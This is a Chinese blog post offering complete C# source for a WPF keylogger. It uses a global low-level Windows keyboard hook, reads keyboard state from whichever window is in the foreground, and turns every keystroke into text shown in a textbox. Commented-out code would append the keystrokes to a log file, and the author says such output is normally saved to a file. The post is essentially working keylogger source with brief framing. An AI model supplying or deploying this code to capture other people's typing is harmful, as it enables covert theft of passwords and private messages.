wpf键盘记录器

很简单的一个wpf键盘记录器

这个程序我一样用了全局勾子,之前用的都是winform上运行了,前一段时间

在国外的论坛上逛看到了一个wpf能用的就做了一个小程序记录一下,为了方便大家直关的看我在页面上放了一个textbox,

用的时候不会这样一般都是保存到一个文本里呵呵不能做坏事

有三个主要的类

  /// <summary> 
    /// Raw keyevent handler. 
    /// </summary> 
    /// <param name="sender">sender</param> 
    /// <param name="args">raw keyevent arguments</param> 
    public delegate void RawKeyEventHandler(object sender, RawKeyEventArgs args);

    #region WINAPI Helper class

    /// <summary> 
    /// Winapi Key interception helper class. 
    /// </summary> 
    internal static class InterceptKeys
    {
        public delegate IntPtr LowLevelKeyboardProc(int nCode, UIntPtr wParam, IntPtr lParam);
        public static int WH_KEYBOARD_LL = 13;

        /// <summary> 
        /// Key event 
        /// </summary> 
        public enum KeyEvent : int
        {
            /// <summary> 
            /// Key down 
            /// </summary> 
            WM_KEYDOWN = 256,

            /// <summary> 
            /// Key up 
            /// </summary> 
            WM_KEYUP = 257,

            /// <summary> 
            /// System key up 
            /// </summary> 
            WM_SYSKEYUP = 261,

            /// <summary> 
            /// System key down 
            /// </summary> 
            WM_SYSKEYDOWN = 260
        }

        public static IntPtr SetHook(LowLevelKeyboardProc proc)
        {
            using (Process curProcess = Process.GetCurrentProcess())
            using (ProcessModule curModule = curProcess.MainModule)
            {
                return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0);
            }
        }

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        public static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        public static extern bool UnhookWindowsHookEx(IntPtr hhk);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        public static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, UIntPtr wParam, IntPtr lParam);

        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        public static extern IntPtr GetModuleHandle(string lpModuleName);

        #region Convert VKCode to string

        // Note: Sometimes single VKCode represents multiple chars, thus string. 
        // E.g. typing "^1" (notice that when pressing 1 the both characters appear, 
        // because of this behavior, "^" is called dead key) 

        [DllImport("user32.dll")]
        private static extern int ToUnicodeEx(uint wVirtKey, uint wScanCode, byte[] lpKeyState, [Out, MarshalAs(UnmanagedType.LPWStr)] System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags, IntPtr dwhkl);

        [DllImport("user32.dll")]
        private static extern bool GetKeyboardState(byte[] lpKeyState);

        [DllImport("user32.dll")]
        private static extern uint MapVirtualKeyEx(uint uCode, uint uMapType, IntPtr dwhkl);

        [DllImport("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true)]
        private static extern IntPtr GetKeyboardLayout(uint dwLayout);

        [DllImport("User32.dll")]
        private static extern IntPtr GetForegroundWindow();

        [DllImport("User32.dll")]
        private static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId);

        [DllImport("user32.dll")]
        private static extern bool AttachThreadInput(uint idAttach, uint idAttachTo, bool fAttach);

        [DllImport("kernel32.dll")]
        private static extern uint GetCurrentThreadId();

        private static uint lastVKCode = 0;
        private static uint lastScanCode = 0;
        private static byte[] lastKeyState = new byte[255];
        private static bool lastIsDead = false;

        /// <summary> 
        /// Convert VKCode to Unicode. 
        /// <remarks>isKeyDown is required for because of keyboard state inconsistencies!</remarks> 
        /// </summary> 
        /// <param name="VKCode">VKCode</param> 
        /// <param name="isKeyDown">Is the key down event?</param> 
        /// <returns>String representing single unicode character.</returns> 
        public static string VKCodeToString(uint VKCode, bool isKeyDown)
        {
            // ToUnicodeEx needs StringBuilder, it populates that during execution. 
            System.Text.StringBuilder sbString = new System.Text.StringBuilder(5);

            byte[] bKeyState = new byte[255];
            bool bKeyStateStatus;
            bool isDead = false;

            // Gets the current windows window handle, threadID, processID 
            IntPtr currentHWnd = GetForegroundWindow();
            uint currentProcessID;
            uint currentWindowThreadID = GetWindowThreadProcessId(currentHWnd, out currentProcessID);

            // This programs Thread ID 
            uint thisProgramThreadId = GetCurrentThreadId();

            // Attach to active thread so we can get that keyboard state 
            if (AttachThreadInput(thisProgramThreadId, currentWindowThreadID, true))
            {
                // Current state of the modifiers in keyboard 
                bKeyStateStatus = GetKeyboardState(bKeyState);

                // Detach 
                AttachThreadInput(thisProgramThreadId, currentWindowThreadID, false);
            }
            else
            {
                // Could not attach, perhaps it is this process? 
                bKeyStateStatus = GetKeyboardState(bKeyState);
            }

            // On failure we return empty string. 
            if (!bKeyStateStatus)
                return "";

            // Gets the layout of keyboard 
            IntPtr HKL = GetKeyboardLayout(currentWindowThreadID);

            // Maps the virtual keycode 
            uint lScanCode = MapVirtualKeyEx(VKCode, 0, HKL);

            // Keyboard state goes inconsistent if this is not in place. In other words, we need to call above commands in UP events also. 
            if (!isKeyDown)
                return "";

            // Converts the VKCode to unicode 
            int relevantKeyCountInBuffer = ToUnicodeEx(VKCode, lScanCode, bKeyState, sbString, sbString.Capacity, (uint)0, HKL);

            string ret = "";

            switch (relevantKeyCountInBuffer)
            {
                // Dead keys (^,`...) 
                case -1:
                    isDead = true;

                    // We must clear the buffer because ToUnicodeEx messed it up, see below. 
                    ClearKeyboardBuffer(VKCode, lScanCode, HKL);
                    break;

                case 0:
                    break;

                // Single character in buffer 
                case 1:
                    ret = sbString[0].ToString();
                    break;

                // Two or more (only two of them is relevant) 
                case 2:
                default:
                    ret = sbString.ToString().Substring(0, 2);
                    break;
            }

            // We inject the last dead key back, since ToUnicodeEx removed it. 
            // More about this peculiar behavior see e.g: 
            //   http://www.experts-exchange.com/Programming/System/Windows__Programming/Q_23453780.html 
            //   http://blogs.msdn.com/michkap/archive/2005/01/19/355870.aspx 
            //   http://blogs.msdn.com/michkap/archive/2007/10/27/5717859.aspx 
            if (lastVKCode != 0 && lastIsDead)
            {
                System.Text.StringBuilder sbTemp = new System.Text.StringBuilder(5);
                ToUnicodeEx(lastVKCode, lastScanCode, lastKeyState, sbTemp, sbTemp.Capacity, (uint)0, HKL);
                lastVKCode = 0;

                return ret;
            }

            // Save these 
            lastScanCode = lScanCode;
            lastVKCode = VKCode;
            lastIsDead = isDead;
            lastKeyState = (byte[])bKeyState.Clone();

            return ret;
        }

        private static void ClearKeyboardBuffer(uint vk, uint sc, IntPtr hkl)
        {
            System.Text.StringBuilder sb = new System.Text.StringBuilder(10);

            int rc;
            do
            {
                byte[] lpKeyStateNull = new Byte[255];
                rc = ToUnicodeEx(vk, sc, lpKeyStateNull, sb, sb.Capacity, 0, hkl);
            } while (rc < 0);
        }

        #endregion Convert VKCode to string
    }

    #endregion WINAPI Helper class
public class KeyboardListener : IDisposable
    {
        /// <summary> 
        /// Creates global keyboard listener. 
        /// </summary> 
        public KeyboardListener()
        {
            // Dispatcher thread handling the KeyDown/KeyUp events. 
            this.dispatcher = Dispatcher.CurrentDispatcher;

            // We have to store the LowLevelKeyboardProc, so that it is not garbage collected runtime 
            hookedLowLevelKeyboardProc = (InterceptKeys.LowLevelKeyboardProc)LowLevelKeyboardProc;

            // Set the hook 
            hookId = InterceptKeys.SetHook(hookedLowLevelKeyboardProc);

            // Assign the asynchronous callback event 
            hookedKeyboardCallbackAsync = new KeyboardCallbackAsync(KeyboardListener_KeyboardCallbackAsync);
        }

        private Dispatcher dispatcher;

        /// <summary> 
        /// Destroys global keyboard listener. 
        /// </summary> 
        ~KeyboardListener()
        {
            Dispose();
        }

        /// <summary> 
        /// Fired when any of the keys is pressed down. 
        /// </summary> 
        public event RawKeyEventHandler KeyDown;

        /// <summary> 
        /// Fired when any of the keys is released. 
        /// </summary> 
        public event RawKeyEventHandler KeyUp;

        #region Inner workings

        /// <summary> 
        /// Hook ID 
        /// </summary> 
        private IntPtr hookId = IntPtr.Zero;

        /// <summary> 
        /// Asynchronous callback hook. 
        /// </summary> 
        /// <param name="character">Character</param> 
        /// <param name="keyEvent">Keyboard event</param> 
        /// <param name="vkCode">VKCode</param> 
        private delegate void KeyboardCallbackAsync(InterceptKeys.KeyEvent keyEvent, int vkCode, string character);

        /// <summary> 
        /// Actual callback hook. 
        /// 
        /// <remarks>Calls asynchronously the asyncCallback.</remarks> 
        /// </summary> 
        /// <param name="nCode"></param> 
        /// <param name="wParam"></param> 
        /// <param name="lParam"></param> 
        /// <returns></returns> 
        [MethodImpl(MethodImplOptions.NoInlining)]
        private IntPtr LowLevelKeyboardProc(int nCode, UIntPtr wParam, IntPtr lParam)
        {
            string chars = "";

            if (nCode >= 0)
                if (wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_KEYDOWN ||
                    wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_KEYUP ||
                    wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_SYSKEYDOWN ||
                    wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_SYSKEYUP)
                {
                    // Captures the character(s) pressed only on WM_KEYDOWN 
                    chars = InterceptKeys.VKCodeToString((uint)Marshal.ReadInt32(lParam),
                        (wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_KEYDOWN ||
                        wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_SYSKEYDOWN));

                    hookedKeyboardCallbackAsync.BeginInvoke((InterceptKeys.KeyEvent)wParam.ToUInt32(), Marshal.ReadInt32(lParam), chars, null, null);
                }

            return InterceptKeys.CallNextHookEx(hookId, nCode, wParam, lParam);
        }

        /// <summary> 
        /// Event to be invoked asynchronously (BeginInvoke) each time key is pressed. 
        /// </summary> 
        private KeyboardCallbackAsync hookedKeyboardCallbackAsync;

        /// <summary> 
        /// Contains the hooked callback in runtime. 
        /// </summary> 
        private InterceptKeys.LowLevelKeyboardProc hookedLowLevelKeyboardProc;

        /// <summary> 
        /// HookCallbackAsync procedure that calls accordingly the KeyDown or KeyUp events. 
        /// </summary> 
        /// <param name="keyEvent">Keyboard event</param> 
        /// <param name="vkCode">VKCode</param> 
        /// <param name="character">Character as string.</param> 
        private void KeyboardListener_KeyboardCallbackAsync(InterceptKeys.KeyEvent keyEvent, int vkCode, string character)
        {
            switch (keyEvent)
            {
                // KeyDown events 
                case InterceptKeys.KeyEvent.WM_KEYDOWN:
                    if (KeyDown != null)
                        dispatcher.BeginInvoke(new RawKeyEventHandler(KeyDown), this, new RawKeyEventArgs(vkCode, false, character));
                    break;
                case InterceptKeys.KeyEvent.WM_SYSKEYDOWN:
                    if (KeyDown != null)
                        dispatcher.BeginInvoke(new RawKeyEventHandler(KeyDown), this, new RawKeyEventArgs(vkCode, true, character));
                    break;

                // KeyUp events 
                case InterceptKeys.KeyEvent.WM_KEYUP:
                    if (KeyUp != null)
                        dispatcher.BeginInvoke(new RawKeyEventHandler(KeyUp), this, new RawKeyEventArgs(vkCode, false, character));
                    break;
                case InterceptKeys.KeyEvent.WM_SYSKEYUP:
                    if (KeyUp != null)
                        dispatcher.BeginInvoke(new RawKeyEventHandler(KeyUp), this, new RawKeyEventArgs(vkCode, true, character));
                    break;

                default:
                    break;
            }
        }

        #endregion Inner workings

        #region IDisposable Members

        /// <summary> 
        /// Disposes the hook. 
        /// <remarks>This call is required as it calls the UnhookWindowsHookEx.</remarks> 
        /// </summary> 
        public void Dispose()
        {
            InterceptKeys.UnhookWindowsHookEx(hookId);
        }

        #endregion IDisposable Members
    }
 /// <summary> 
    /// Raw KeyEvent arguments. 
    /// </summary> 
    public class RawKeyEventArgs : EventArgs
    {
        /// <summary> 
        /// VKCode of the key. 
        /// </summary> 
        public int VKCode;

        /// <summary> 
        /// WPF Key of the key. 
        /// </summary> 
        public Key Key;

        /// <summary> 
        /// Is the hitted key system key. 
        /// </summary> 
        public bool IsSysKey;

        /// <summary> 
        /// Convert to string. 
        /// </summary> 
        /// <returns>Returns string representation of this key, if not possible empty string is returned.</returns> 
        public override string ToString()
        {
            return Character;
        }

        /// <summary> 
        /// Unicode character of key pressed. 
        /// </summary> 
        public string Character;

        /// <summary> 
        /// Create raw keyevent arguments. 
        /// </summary> 
        /// <param name="VKCode"></param> 
        /// <param name="isSysKey"></param> 
        /// <param name="Character">Character</param> 
        public RawKeyEventArgs(int VKCode, bool isSysKey, string Character)
        {
            this.VKCode = VKCode;
            this.IsSysKey = isSysKey;
            this.Character = Character;
            this.Key = System.Windows.Input.KeyInterop.KeyFromVirtualKey(VKCode);
        }
    }

codebehind

   KeyboardListener _KeyListener = new KeyboardListener();
        bool _isRuning = false;
        public MainWindow()
        {
            InitializeComponent();
            this.Loaded += Window_Loaded;
        }

        public void BeginListen(object sender, RoutedEventArgs e)
        {
            _isRuning = true;
        }
        public void StopListen(object sender, RoutedEventArgs e)
        {
            _isRuning = false;
        }

        private void Window_Loaded(object sender, RoutedEventArgs e)
        {
            _KeyListener.KeyDown += new RawKeyEventHandler(KListener_KeyDown);
        }
        StringBuilder _sb = new StringBuilder();
        private void KListener_KeyDown(object sender, RawKeyEventArgs args)
        {
            if (!_isRuning) return;
            tb_keyText.Text += args.ToString();
            //if (args.Key == Key.Enter)
            //{
            //    Write(_sb.ToString());
            //    _sb.Clear();
            //}
            //else
            //{
            //    _sb.Append(args.ToString());
            //}
            //Console.WriteLine(args.ToString());
        }

        private void Write(string keyEvents)
        {
            try
            {
                StreamWriter sw = new StreamWriter("D:/keyReport.txt", true);
                sw.WriteLine(keyEvents);
                sw.Close();

            }
            catch (Exception Exception)
            {
            }
        }
        private void Window_Closing(object sender, System.ComponentModel.CancelEventArgs e)
        {
            _KeyListener.Dispose();
        } 

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